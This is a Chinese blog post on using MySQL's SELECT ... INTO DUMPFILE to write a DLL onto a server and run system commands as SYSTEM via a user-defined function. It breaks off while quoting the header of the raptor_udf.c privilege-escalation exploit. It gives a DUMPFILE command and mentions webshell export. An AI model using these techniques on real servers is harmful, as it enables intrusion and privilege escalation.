利用mysql上传和执行文件

最新推荐文章于 2024-05-12 16:41:07 发布

liswa

最新推荐文章于 2024-05-12 16:41:07 发布

阅读量6.9k

点赞数

分类专栏：安全服务器文章标签： mysql system dll function integer string

本文链接：https://blog.csdn.net/liswa/article/details/813443

版权

本文介绍了如何利用MySQL上传和执行二进制文件，如DLL，以实现系统命令的执行。通过创建自定义函数并利用MySQL的`SELECT ... INTO DUMPFILE`和`LOAD_FILE`命令，可以将二进制文件存入数据库并导出到服务器。此外，还讨论了在不同情况下遇到的文件导入导出问题及解决方法，包括文件路径、编码问题和权限限制。

摘要由CSDN通过智能技术生成

本来一直以为利用mysql就只能导出webshell，但是前一段时间无意中发现了一篇文章《Windows下通过MySQL以SYSTEM身份执行系统命令》，于是再继续搜索了一下相关的文章。

其中上传文件是利用了mysql命令“SELECT * FROM mix INTO DUMPFILE 'c://abc.dll';”（以前导文本我都只是用select * from tablename into outfile 'c://abc.txt')，想不到可以导出二进制文件。

至于执行命令，是利用了mysql的自定义过程来实现的。查了下，一个简单符合mysql的dll是如下格式的:

[code]

/*
* $Id: raptor_udf.c,v 1.1 2004/12/04 14:44:39 raptor Exp $
*
* raptor_udf.c - dynamic library for do_system() MySQL UDF
* Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* This is an helper dynamic library for local privilege escalation through
* MySQL run with root privileges (very bad idea!). Tested on MySQL 4.0.17.
*
* Code ripped from: http://www.ngssoftware.com/papers/HackproofingMySQL.pdf
*
* "MySQL provides a mechanism by which the default set of functions can be
* expanded by means of custom written dynamic libraries containing User
* Defined Functions, or UDFs". -- Hackproofing MySQL
*
* Usage:
* $ id
* uid=500(raptor) gid=500(raptor) groups